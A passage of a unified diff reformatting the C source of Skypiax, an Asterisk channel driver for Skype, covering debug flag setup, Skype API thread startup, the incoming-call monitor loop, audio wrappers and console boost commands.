+ NOTICA("DEBUG_SOUND activated. \n", SKYPIAX_TMP_LOG);
+ }
+ }
- if (debug_pbx) {
- skypiax_debug = skypiax_debug | DEBUG_PBX;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_PBX activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_PBX debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_PBX activated. \n", SKYPIAX_TMP_LOG);
- }
- }
+ if (debug_pbx) {
+ skypiax_debug = skypiax_debug | DEBUG_PBX;
+ if (!option_debug) {
+ WARNINGA
+ ("DEBUG_PBX activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_PBX debugging output.\n",
+ SKYPIAX_TMP_LOG);
+ } else {
+ NOTICA("DEBUG_PBX activated. \n", SKYPIAX_TMP_LOG);
+ }
+ }
- if (debug_skype) {
- skypiax_debug = skypiax_debug | DEBUG_SKYPE;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_SKYPE activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SKYPE debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_SKYPE activated. \n", SKYPIAX_TMP_LOG);
- }
- }
+ if (debug_skype) {
+ skypiax_debug = skypiax_debug | DEBUG_SKYPE;
+ if (!option_debug) {
+ WARNINGA
+ ("DEBUG_SKYPE activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SKYPE debugging output.\n",
+ SKYPIAX_TMP_LOG);
+ } else {
+ NOTICA("DEBUG_SKYPE activated. \n", SKYPIAX_TMP_LOG);
+ }
+ }
- if (debug_call) {
- skypiax_debug = skypiax_debug | DEBUG_CALL;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_CALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_CALL debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_CALL activated. \n", SKYPIAX_TMP_LOG);
- }
- }
+ if (debug_call) {
+ skypiax_debug = skypiax_debug | DEBUG_CALL;
+ if (!option_debug) {
+ WARNINGA
+ ("DEBUG_CALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_CALL debugging output.\n",
+ SKYPIAX_TMP_LOG);
+ } else {
+ NOTICA("DEBUG_CALL activated. \n", SKYPIAX_TMP_LOG);
+ }
+ }
- if (debug_locks) {
- skypiax_debug = skypiax_debug | DEBUG_LOCKS;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_LOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_LOCKS debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_LOCKS activated. \n", SKYPIAX_TMP_LOG);
- }
- }
+ if (debug_locks) {
+ skypiax_debug = skypiax_debug | DEBUG_LOCKS;
+ if (!option_debug) {
+ WARNINGA
+ ("DEBUG_LOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_LOCKS debugging output.\n",
+ SKYPIAX_TMP_LOG);
+ } else {
+ NOTICA("DEBUG_LOCKS activated. \n", SKYPIAX_TMP_LOG);
+ }
+ }
- if (debug_monitorlocks) {
- skypiax_debug = skypiax_debug | DEBUG_MONITORLOCKS;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_MONITORLOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_MONITORLOCKS debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_MONITORLOCKS activated. \n", SKYPIAX_TMP_LOG);
- }
- }
+ if (debug_monitorlocks) {
+ skypiax_debug = skypiax_debug | DEBUG_MONITORLOCKS;
+ if (!option_debug) {
+ WARNINGA
+ ("DEBUG_MONITORLOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_MONITORLOCKS debugging output.\n",
+ SKYPIAX_TMP_LOG);
+ } else {
+ NOTICA("DEBUG_MONITORLOCKS activated. \n", SKYPIAX_TMP_LOG);
+ }
+ }
- if (option_debug > 1) {
- DEBUGA_SOUND("playback_boost is %f\n", SKYPIAX_TMP_LOG, tmp->playback_boost);
- DEBUGA_SOUND("capture_boost is %f\n", SKYPIAX_TMP_LOG, tmp->capture_boost);
- }
+ if (option_debug > 1) {
+ DEBUGA_SOUND("playback_boost is %f\n", SKYPIAX_TMP_LOG, tmp->playback_boost);
+ DEBUGA_SOUND("capture_boost is %f\n", SKYPIAX_TMP_LOG, tmp->capture_boost);
+ }
/* initialize the soundcard channels (input and output) used by this interface (a multichannel soundcard can be used by multiple interfaces), optionally starting the sound managing threads */
- res = skypiax_sound_init(tmp);
- if (res == -1) {
- ERRORA("Failed initializing sound device\n", SKYPIAX_TMP_LOG);
- /* we failed, free the PVT */
- free(tmp);
- return NULL;
- }
- /*
- res = pipe(tmp->SkypiaxHandles.fdesc);
- if (res) {
- ast_log(LOG_ERROR, "Unable to create skype pipe\n");
- if (option_debug > 10) {
- DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
- }
- free(tmp);
- return NULL;
- }
- fcntl(tmp->SkypiaxHandles.fdesc[0], F_SETFL, O_NONBLOCK);
- fcntl(tmp->SkypiaxHandles.fdesc[1], F_SETFL, O_NONBLOCK);
- */
- tmp->skype_thread = AST_PTHREADT_NULL;
+ res = skypiax_sound_init(tmp);
+ if (res == -1) {
+ ERRORA("Failed initializing sound device\n", SKYPIAX_TMP_LOG);
+ /* we failed, free the PVT */
+ free(tmp);
+ return NULL;
+ }
+ /*
+ res = pipe(tmp->SkypiaxHandles.fdesc);
+ if (res) {
+ ast_log(LOG_ERROR, "Unable to create skype pipe\n");
+ if (option_debug > 10) {
+ DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
+ }
+ free(tmp);
+ return NULL;
+ }
+ fcntl(tmp->SkypiaxHandles.fdesc[0], F_SETFL, O_NONBLOCK);
+ fcntl(tmp->SkypiaxHandles.fdesc[1], F_SETFL, O_NONBLOCK);
+ */
+ tmp->skype_thread = AST_PTHREADT_NULL;
- if (tmp->skype) {
- ast_log(LOG_DEBUG, "TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n",
- (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP,
- (unsigned long) AST_PTHREADT_NULL);
+ if (tmp->skype) {
+ ast_log(LOG_DEBUG, "TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n",
+ (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
#ifdef __CYGWIN__
- if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, tmp) < 0) {
- ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
- free(tmp);
- return NULL;
- }
+ if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, tmp) < 0) {
+ ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+ free(tmp);
+ return NULL;
+ }
#else /* __CYGWIN__ */
#ifdef WANT_SKYPE_X11
- ast_log(LOG_DEBUG, "AsteriskHandlesfd: %d\n", tmp->SkypiaxHandles.fdesc[1]);
- if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, tmp) < 0) {
- ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
- free(tmp);
- return NULL;
- }
+ ast_log(LOG_DEBUG, "AsteriskHandlesfd: %d\n", tmp->SkypiaxHandles.fdesc[1]);
+ if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, tmp) < 0) {
+ ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+ free(tmp);
+ return NULL;
+ }
#endif /* WANT_SKYPE_X11 */
#endif /* __CYGWIN__ */
- usleep(100000); //0.1 sec
- if (tmp->skype_thread == AST_PTHREADT_NULL) {
- ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
- free(tmp);
- return NULL;
- }
- ast_log(LOG_DEBUG, "STARTED skype_thread=%lu STOP=%lu NULL=%lu\n",
- (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP,
- (unsigned long) AST_PTHREADT_NULL);
- }
+ usleep(100000); //0.1 sec
+ if (tmp->skype_thread == AST_PTHREADT_NULL) {
+ ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+ free(tmp);
+ return NULL;
+ }
+ ast_log(LOG_DEBUG, "STARTED skype_thread=%lu STOP=%lu NULL=%lu\n",
+ (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
+ }
#if 0
- if (tmp->skype) {
+ if (tmp->skype) {
#if 0
- if (option_debug > 1)
- ast_log(LOG_DEBUG, "TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n",
- (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP,
- (unsigned long) AST_PTHREADT_NULL);
+ if (option_debug > 1)
+ ast_log(LOG_DEBUG, "TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n",
+ (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
#endif
#ifdef __CYGWIN__
- if (ast_pthread_create
- (&tmp->skype_thread, NULL, do_skypeapi_thread, &tmp->SkypiaxHandles) < 0) {
- ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
- if (option_debug > 10) {
- DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
- }
- free(tmp);
- return NULL;
- }
+ if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, &tmp->SkypiaxHandles) < 0) {
+ ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+ if (option_debug > 10) {
+ DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
+ }
+ free(tmp);
+ return NULL;
+ }
#else /* __CYGWIN__ */
#ifdef WANT_SKYPE_X11
- if (ast_pthread_create(&tmp->signaling_thread, NULL, do_signaling_thread_fnc, tmp) <
- 0) {
- ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
- if (option_debug > 10) {
- DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
- }
- free(tmp);
- return NULL;
- }
+ if (ast_pthread_create(&tmp->signaling_thread, NULL, do_signaling_thread_fnc, tmp) < 0) {
+ ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+ if (option_debug > 10) {
+ DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
+ }
+ free(tmp);
+ return NULL;
+ }
#endif /* WANT_SKYPE_X11 */
#endif /* __CYGWIN__ */
- usleep(100000); //0.1 sec
- if (tmp->skype_thread == AST_PTHREADT_NULL) {
- ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
- if (option_debug > 10) {
- DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
- }
- free(tmp);
- return NULL;
- }
- if (option_debug > 1)
- ast_log(LOG_DEBUG, "STARTED signaling_thread=%lu STOP=%lu NULL=%lu\n",
- (unsigned long) tmp->signaling_thread, (unsigned long) AST_PTHREADT_STOP,
- (unsigned long) AST_PTHREADT_NULL);
- }
+ usleep(100000); //0.1 sec
+ if (tmp->skype_thread == AST_PTHREADT_NULL) {
+ ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+ if (option_debug > 10) {
+ DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
+ }
+ free(tmp);
+ return NULL;
+ }
+ if (option_debug > 1)
+ ast_log(LOG_DEBUG, "STARTED signaling_thread=%lu STOP=%lu NULL=%lu\n",
+ (unsigned long) tmp->signaling_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
+ }
#endif
- /* return the newly created skypiax_pvt */
- return tmp;
+ /* return the newly created skypiax_pvt */
+ return tmp;
}
/*! \brief (Re)Start the module main monitor thread, watching for incoming calls on the interfaces */
int skypiax_restart_monitor(void)
{
- static struct skypiax_pvt *p = &skypiax_log_struct;
+ static struct skypiax_pvt *p = &skypiax_log_struct;
- /* If we're supposed to be stopped -- stay stopped */
- if (skypiax_monitor_thread == AST_PTHREADT_STOP) {
- return 0;
- }
- LOKKA(&skypiax_monlock);
- /* Do not seems possible to me that this function can be called by the very same monitor thread, but let's be paranoid */
- if (skypiax_monitor_thread == pthread_self()) {
- UNLOCKA(&skypiax_monlock);
- ERRORA("Cannot kill myself\n", SKYPIAX_P_LOG);
- return -1;
- }
- /* if the monitor thread exists */
- if (skypiax_monitor_thread != AST_PTHREADT_NULL) {
- /* Wake up the thread, it can be stuck waiting in a select or so */
- pthread_kill(skypiax_monitor_thread, SIGURG);
- } else {
- /* the monitor thread does not exists, start a new monitor */
- if (ast_pthread_create(&skypiax_monitor_thread, NULL, skypiax_do_monitor, NULL) < 0) {
- UNLOCKA(&skypiax_monlock);
- ERRORA("Unable to start monitor thread.\n", SKYPIAX_P_LOG);
- return -1;
- }
- }
- UNLOCKA(&skypiax_monlock);
- return 0;
+ /* If we're supposed to be stopped -- stay stopped */
+ if (skypiax_monitor_thread == AST_PTHREADT_STOP) {
+ return 0;
+ }
+ LOKKA(&skypiax_monlock);
+ /* Do not seems possible to me that this function can be called by the very same monitor thread, but let's be paranoid */
+ if (skypiax_monitor_thread == pthread_self()) {
+ UNLOCKA(&skypiax_monlock);
+ ERRORA("Cannot kill myself\n", SKYPIAX_P_LOG);
+ return -1;
+ }
+ /* if the monitor thread exists */
+ if (skypiax_monitor_thread != AST_PTHREADT_NULL) {
+ /* Wake up the thread, it can be stuck waiting in a select or so */
+ pthread_kill(skypiax_monitor_thread, SIGURG);
+ } else {
+ /* the monitor thread does not exists, start a new monitor */
+ if (ast_pthread_create(&skypiax_monitor_thread, NULL, skypiax_do_monitor, NULL) < 0) {
+ UNLOCKA(&skypiax_monlock);
+ ERRORA("Unable to start monitor thread.\n", SKYPIAX_P_LOG);
+ return -1;
+ }
+ }
+ UNLOCKA(&skypiax_monlock);
+ return 0;
}
/*! \brief The skypiax monitoring thread
@@ -1408,117 +1369,116 @@
* */
void *skypiax_do_monitor(void *data)
{
- fd_set rfds;
- int res;
- struct skypiax_pvt *p = NULL;
- int max = -1;
- struct timeval to;
- time_t now_timestamp;
+ fd_set rfds;
+ int res;
+ struct skypiax_pvt *p = NULL;
+ int max = -1;
+ struct timeval to;
+ time_t now_timestamp;
- if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
- ERRORA("Unable to set cancel type to deferred\n", SKYPIAX_P_LOG);
- return NULL;
- }
+ if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
+ ERRORA("Unable to set cancel type to deferred\n", SKYPIAX_P_LOG);
+ return NULL;
+ }
- for (;;) {
- pthread_testcancel();
- /* Don't let anybody kill us right away. Nobody should lock the interface list
- and wait for the monitor list, but the other way around is okay. */
- PUSHA_UNLOCKA(&skypiax_monlock);
- MONITORLOKKA(&skypiax_monlock);
- /* Lock the interface list */
- PUSHA_UNLOCKA(&skypiax_iflock);
- MONITORLOKKA(&skypiax_iflock);
- /* Build the stuff we're going to select on, that is the skypiax_serial_fd of every
- skypiax_pvt that does not have an associated owner channel. In the case of FBUS2 3310
- and in the case of PROTOCOL_NO_SERIAL we add the audio_fd as well, because there is not serial signaling of incoming calls */
- FD_ZERO(&rfds);
+ for (;;) {
+ pthread_testcancel();
+ /* Don't let anybody kill us right away. Nobody should lock the interface list
+ and wait for the monitor list, but the other way around is okay. */
+ PUSHA_UNLOCKA(&skypiax_monlock);
+ MONITORLOKKA(&skypiax_monlock);
+ /* Lock the interface list */
+ PUSHA_UNLOCKA(&skypiax_iflock);
+ MONITORLOKKA(&skypiax_iflock);
+ /* Build the stuff we're going to select on, that is the skypiax_serial_fd of every
+ skypiax_pvt that does not have an associated owner channel. In the case of FBUS2 3310
+ and in the case of PROTOCOL_NO_SERIAL we add the audio_fd as well, because there is not serial signaling of incoming calls */
+ FD_ZERO(&rfds);
- time(&now_timestamp);
- p = skypiax_iflist;
- while (p) {
- if (!p->owner) {
- /* This interface needs to be watched, as it lacks an owner */
+ time(&now_timestamp);
+ p = skypiax_iflist;
+ while (p) {
+ if (!p->owner) {
+ /* This interface needs to be watched, as it lacks an owner */
- if (p->skype) {
- if (FD_ISSET(p->SkypiaxHandles.fdesc[0], &rfds))
- ERRORA("Descriptor %d (SkypiaxHandles.fdesc[0]) appears twice ?\n",
- SKYPIAX_P_LOG, p->SkypiaxHandles.fdesc[0]);
+ if (p->skype) {
+ if (FD_ISSET(p->SkypiaxHandles.fdesc[0], &rfds))
+ ERRORA("Descriptor %d (SkypiaxHandles.fdesc[0]) appears twice ?\n", SKYPIAX_P_LOG, p->SkypiaxHandles.fdesc[0]);
- if (p->SkypiaxHandles.fdesc[0] > 0) {
- FD_SET(p->SkypiaxHandles.fdesc[0], &rfds);
- if (p->SkypiaxHandles.fdesc[0] > max)
- max = p->SkypiaxHandles.fdesc[0];
+ if (p->SkypiaxHandles.fdesc[0] > 0) {
+ FD_SET(p->SkypiaxHandles.fdesc[0], &rfds);
+ if (p->SkypiaxHandles.fdesc[0] > max)
+ max = p->SkypiaxHandles.fdesc[0];
- }
- }
+ }
+ }
- }
- /* next interface, please */
- p = p->next;
- }
- /* Okay, now that we know what to do, release the interface lock */
- MONITORUNLOCKA(&skypiax_iflock);
- POPPA_UNLOCKA(&skypiax_iflock);
- /* And from now on, we're okay to be killed, so release the monitor lock as well */
- MONITORUNLOCKA(&skypiax_monlock);
- POPPA_UNLOCKA(&skypiax_monlock);
+ }
+ /* next interface, please */
+ p = p->next;
+ }
+ /* Okay, now that we know what to do, release the interface lock */
+ MONITORUNLOCKA(&skypiax_iflock);
+ POPPA_UNLOCKA(&skypiax_iflock);
+ /* And from now on, we're okay to be killed, so release the monitor lock as well */
+ MONITORUNLOCKA(&skypiax_monlock);
+ POPPA_UNLOCKA(&skypiax_monlock);
- /* you want me to die? */
- pthread_testcancel();
+ /* you want me to die? */
+ pthread_testcancel();
- /* Wait for something to happen */
- to.tv_sec = 0;
- to.tv_usec = 500000; /* we select with this timeout because under cygwin we avoid the signal usage, so there is no way to end the thread if it is stuck waiting for select */
- res = ast_select(max + 1, &rfds, NULL, NULL, &to);
+ /* Wait for something to happen */
+ to.tv_sec = 0;
+ to.tv_usec = 500000; /* we select with this timeout because under cygwin we avoid the signal usage, so there is no way to end the thread if it is stuck waiting for select */
+ res = ast_select(max + 1, &rfds, NULL, NULL, &to);
- /* you want me to die? */
- pthread_testcancel();
+ /* you want me to die? */
+ pthread_testcancel();
- /* Okay, select has finished. Let's see what happened. */
+ /* Okay, select has finished. Let's see what happened. */
- /* If there are errors... */
- if (res < 0) {
- if (errno == EINTR) /* EINTR is just the select
- being interrupted by a SIGURG, or so */
- continue;
- else {
- ERRORA("select returned %d: %s\n", SKYPIAX_P_LOG, res, strerror(errno));
- return NULL;
- }
- }
+ /* If there are errors... */
+ if (res < 0) {
+ if (errno == EINTR) /* EINTR is just the select
+ being interrupted by a SIGURG, or so */
+ continue;
+ else {
+ ERRORA("select returned %d: %s\n", SKYPIAX_P_LOG, res, strerror(errno));
+ return NULL;
+ }
+ }
- /* must not be killed while skypiax_iflist is locked */
- PUSHA_UNLOCKA(&skypiax_monlock);
- MONITORLOKKA(&skypiax_monlock);
- /* Alright, lock the interface list again, and let's look and see what has
- happened */
- PUSHA_UNLOCKA(&skypiax_iflock);
- MONITORLOKKA(&skypiax_iflock);
+ /* must not be killed while skypiax_iflist is locked */
+ PUSHA_UNLOCKA(&skypiax_monlock);
+ MONITORLOKKA(&skypiax_monlock);
+ /* Alright, lock the interface list again, and let's look and see what has
+ happened */
+ PUSHA_UNLOCKA(&skypiax_iflock);
+ MONITORLOKKA(&skypiax_iflock);
- p = skypiax_iflist;
- for (; p; p = p->next) {
+ p = skypiax_iflist;
+ for (; p; p = p->next) {
- if (p->skype) {
- if (FD_ISSET(p->SkypiaxHandles.fdesc[0], &rfds)) {
- res = skypiax_signaling_read(p);
- if (res == CALLFLOW_INCOMING_CALLID || res == CALLFLOW_INCOMING_RING) {
- //ast_log(LOG_NOTICE, "CALLFLOW_INCOMING_RING SKYPE\n");
- DEBUGA_SKYPE("CALLFLOW_INCOMING_RING\n", SKYPIAX_P_LOG);
- skypiax_new(p, SKYPIAX_STATE_RING, p->context /* p->context */ );
- }
- }
- }
+ if (p->skype) {
+ if (FD_ISSET(p->SkypiaxHandles.fdesc[0], &rfds)) {
+ res = skypiax_signaling_read(p);
+ if (res == CALLFLOW_INCOMING_CALLID || res == CALLFLOW_INCOMING_RING) {
+ //ast_log(LOG_NOTICE, "CALLFLOW_INCOMING_RING SKYPE\n");
+ DEBUGA_SKYPE("CALLFLOW_INCOMING_RING\n", SKYPIAX_P_LOG);
+ skypiax_new(p, SKYPIAX_STATE_RING, p->context /* p->context */ );
+ }
+ }
+ }
- }
- MONITORUNLOCKA(&skypiax_iflock);
- POPPA_UNLOCKA(&skypiax_iflock);
- MONITORUNLOCKA(&skypiax_monlock);
- POPPA_UNLOCKA(&skypiax_monlock);
- pthread_testcancel();
- }
+ }
+ MONITORUNLOCKA(&skypiax_iflock);
+ POPPA_UNLOCKA(&skypiax_iflock);
+ MONITORUNLOCKA(&skypiax_monlock);
+ POPPA_UNLOCKA(&skypiax_monlock);
+ pthread_testcancel();
+ }
/* Never reached */
- return NULL;
+ return NULL;
}
@@ -1533,7 +1493,7 @@
int skypiax_sound_init(struct skypiax_pvt *p)
{
- return skypiax_audio_init(p);
+ return skypiax_audio_init(p);
}
/*!
@@ -1548,29 +1508,29 @@
int skypiax_sound_shutdown(struct skypiax_pvt *p)
{
- //return skypiax_portaudio_shutdown(p);
+ //return skypiax_portaudio_shutdown(p);
- return -1;
+ return -1;
}
/*! \brief Read audio frames from interface */
struct ast_frame *skypiax_sound_read(struct skypiax_pvt *p)
{
- struct ast_frame *f = NULL;
- int res;
+ struct ast_frame *f = NULL;
+ int res;
- res = skypiax_audio_read(p);
- f = &p->read_frame;
- return f;
+ res = skypiax_audio_read(p);
+ f = &p->read_frame;
+ return f;
}
/*! \brief Send audio frame to interface */
int skypiax_sound_write(struct skypiax_pvt *p, struct ast_frame *f)
{
- int ret = -1;
+ int ret = -1;
- ret = skypiax_audio_write(p, f);
- return ret;
+ ret = skypiax_audio_write(p, f);
+ return ret;
}
/*!
@@ -1579,32 +1539,32 @@
*/
void *skypiax_do_controldev_thread(void *data)
{
- struct skypiax_pvt *p = data;
- int res;
+ struct skypiax_pvt *p = data;
+ int res;
- DEBUGA_SERIAL("In skypiax_do_controldev_thread: started, p=%p\n", SKYPIAX_P_LOG, p);
+ DEBUGA_SERIAL("In skypiax_do_controldev_thread: started, p=%p\n", SKYPIAX_P_LOG, p);
- if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
- ERRORA("Unable to set cancel type to deferred\n", SKYPIAX_P_LOG);
- return NULL;
- }
+ if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
+ ERRORA("Unable to set cancel type to deferred\n", SKYPIAX_P_LOG);
+ return NULL;
+ }
- while (1) {
- usleep(1000);
- pthread_testcancel();
- if (p->skype) {
- res = skypiax_signaling_read(p);
- if (res == CALLFLOW_INCOMING_HANGUP) {
- DEBUGA_SKYPE("skype call ended\n", SKYPIAX_P_LOG);
- if (p->owner) {
- pthread_testcancel();
- ast_queue_control(p->owner, AST_CONTROL_HANGUP);
- }
- }
- }
- }
+ while (1) {
+ usleep(1000);
+ pthread_testcancel();
+ if (p->skype) {
+ res = skypiax_signaling_read(p);
+ if (res == CALLFLOW_INCOMING_HANGUP) {
+ DEBUGA_SKYPE("skype call ended\n", SKYPIAX_P_LOG);
+ if (p->owner) {
+ pthread_testcancel();
+ ast_queue_control(p->owner, AST_CONTROL_HANGUP);
+ }
+ }
+ }
+ }
- return NULL;
+ return NULL;
}
@@ -1618,23 +1578,23 @@
void skypiax_store_boost(const char *s, double *boost)
#else
void skypiax_store_boost(char *s, double *boost)
-#endif /* ASTERISK_VERSION_1_6 */
+#endif /* ASTERISK_VERSION_1_6 */
{
- struct skypiax_pvt *p = NULL;
+ struct skypiax_pvt *p = NULL;
- if (sscanf(s, "%lf", boost) != 1) {
- ERRORA("invalid boost <%s>\n", SKYPIAX_P_LOG, s);
- return;
- }
- if (*boost < -BOOST_MAX) {
- WARNINGA("boost %s too small, using %d\n", SKYPIAX_P_LOG, s, -BOOST_MAX);
- *boost = -BOOST_MAX;
- } else if (*boost > BOOST_MAX) {
- WARNINGA("boost %s too large, using %d\n", SKYPIAX_P_LOG, s, BOOST_MAX);
- *boost = BOOST_MAX;
- }
- *boost = exp(log(10) * *boost / 20) * BOOST_SCALE;
- DEBUGA_SOUND("setting boost %s to %f\n", SKYPIAX_P_LOG, s, *boost);
+ if (sscanf(s, "%lf", boost) != 1) {
+ ERRORA("invalid boost <%s>\n", SKYPIAX_P_LOG, s);
+ return;
+ }
+ if (*boost < -BOOST_MAX) {
+ WARNINGA("boost %s too small, using %d\n", SKYPIAX_P_LOG, s, -BOOST_MAX);
+ *boost = -BOOST_MAX;
+ } else if (*boost > BOOST_MAX) {
+ WARNINGA("boost %s too large, using %d\n", SKYPIAX_P_LOG, s, BOOST_MAX);
+ *boost = BOOST_MAX;
+ }
+ *boost = exp(log(10) * *boost / 20) * BOOST_SCALE;
+ DEBUGA_SOUND("setting boost %s to %f\n", SKYPIAX_P_LOG, s, *boost);
}
/*
@@ -1642,735 +1602,705 @@
*/
struct skypiax_pvt *skypiax_console_find_desc(char *dev)
{
- struct skypiax_pvt *p = NULL;
+ struct skypiax_pvt *p = NULL;
- for (p = skypiax_iflist; p && strcmp(p->name, dev) != 0; p = p->next);
- if (p == NULL)
- WARNINGA("could not find <%s>\n", SKYPIAX_P_LOG, dev);
+ for (p = skypiax_iflist; p && strcmp(p->name, dev) != 0; p = p->next);
+ if (p == NULL)
+ WARNINGA("could not find <%s>\n", SKYPIAX_P_LOG, dev);
- return p;
+ return p;
}
int skypiax_console_playback_boost(int fd, int argc, char *argv[])
{
- struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+ struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
- if (argc > 2) {
- return RESULT_SHOWUSAGE;
- }
- if (!p) {
- ast_cli(fd,
- "No \"current\" skypiax_console for playback_boost, please enter 'help skypiax_console'\n");
- return RESULT_SUCCESS;
- }
+ if (argc > 2) {
+ return RESULT_SHOWUSAGE;
+ }
+ if (!p) {
+ ast_cli(fd, "No \"current\" skypiax_console for playback_boost, please enter 'help skypiax_console'\n");
+ return RESULT_SUCCESS;
+ }
- if (argc == 1) {
- ast_cli(fd, "playback_boost on the active skypiax_console, that is [%s], is: %5.1f\n",
- skypiax_console_active,
- 20 * log10(((double) p->playback_boost / (double) BOOST_SCALE)));
- } else if (argc == 2) {
- skypiax_store_boost(argv[1], &p->playback_boost);
+ if (argc == 1) {
+ ast_cli(fd, "playback_boost on the active skypiax_console, that is [%s], is: %5.1f\n",
+ skypiax_console_active, 20 * log10(((double) p->playback_boost / (double) BOOST_SCALE)));
+ } else if (argc == 2) {
+ skypiax_store_boost(argv[1], &p->playback_boost);
- ast_cli(fd,
- "playback_boost on the active skypiax_console, that is [%s], is now: %5.1f\n",
- skypiax_console_active,
- 20 * log10(((double) p->playback_boost / (double) BOOST_SCALE)));
- }
+ ast_cli(fd,
+ "playback_boost on the active skypiax_console, that is [%s], is now: %5.1f\n",
+ skypiax_console_active, 20 * log10(((double) p->playback_boost / (double) BOOST_SCALE)));
+ }
- return RESULT_SUCCESS;
+ return RESULT_SUCCESS;
}
int skypiax_console_capture_boost(int fd, int argc, char *argv[])
{
- struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+ struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
- if (argc > 2) {
- return RESULT_SHOWUSAGE;
- }
- if (!p) {
- ast_cli(fd,
- "No \"current\" skypiax_console for capture_boost, please enter 'help skypiax_console'\n");
- return RESULT_SUCCESS;
- }
+ if (argc > 2) {
+ return RESULT_SHOWUSAGE;
+ }
+ if (!p) {
+ ast_cli(fd, "No \"current\" skypiax_console for capture_boost, please enter 'help skypiax_console'\n");
+ return RESULT_SUCCESS;
+ }
- if (argc == 1) {
- ast_cli(fd, "capture_boost on the active skypiax_console, that is [%s], is: %5.1f\n",
- skypiax_console_active,
- 20 * log10(((double) p->capture_boost / (double) BOOST_SCALE)));
- } else if (argc == 2) {
- skypiax_store_boost(argv[1], &p->capture_boost);
+ if (argc == 1) {
+ ast_cli(fd, "capture_boost on the active skypiax_console, that is [%s], is: %5.1f\n",
+ skypiax_console_active, 20 * log10(((double) p->capture_boost / (double) BOOST_SCALE)));
+ } else if (argc == 2) {
+ skypiax_store_boost(argv[1], &p->capture_boost);
- ast_cli(fd,
